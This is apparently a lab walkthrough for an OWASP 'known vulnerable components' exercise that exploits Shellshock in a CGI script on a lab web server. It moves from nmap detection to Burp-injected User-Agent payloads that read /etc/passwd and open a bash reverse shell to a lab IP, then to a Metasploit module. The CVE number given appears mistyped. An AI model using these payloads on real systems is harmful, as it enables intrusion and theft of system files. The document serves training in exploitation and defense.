Lab
This exercise focuses on OWASP A9 Using Components with Known Vulnerabilities flaws, attacking a web server that is vulnerable to CVE-2014-6071.
Objective: exploit the vulnerability and execute arbitrary commands on the target machine.
Nmap Scan
nmap -sC -sV -p- 192.232.92.3 --disable-arp-ping --min-rate=1000 --max-retries=0
Source of Website
The page polls a CGI script, which is the piece worth attacking.
<!DOCTYPE html>
<html>
<head>
<style>
body {
background-image: url('static/images/background.jpg');
background-repeat: no-repeat;
background-attachment: fixed;
background-position: center;
}
</style>
<script>
setInterval(function() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("output").innerHTML = this.responseText;
}
};
xhttp.open("GET", "/gettime.cgi", true);
xhttp.send();
}, 1000);
</script>
</head>
<body>
<div style="position:fixed;top:67%;left:40%" id="output" ></div>
</body>
</html>
/gettime.cgiis the CGI script to target for Shellshock.
Nmap Script to Detect Vulnerability
nmap -sV 192.232.92.3 --script=http-shellshock --script-args="http-shellshock.uri=/gettime.cgi"
Inject Headers with Burp Suite
Replace the User-Agent header with a Shellshock payload that runs a command. First, read /etc/passwd:
User-Agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'
Then start a listener and send a header that calls back a reverse shell:
nc -lvnp 1337
User-Agent: () { :;}; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.232.92.2/1337 0>&1'
Find the distro release with cat /etc/*issue:
Exploit Shellshock with MSFconsole
The same bug has a Metasploit module that handles the request and the session:
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.232.92.3
set TARGETURI /gettime.cgi
exploit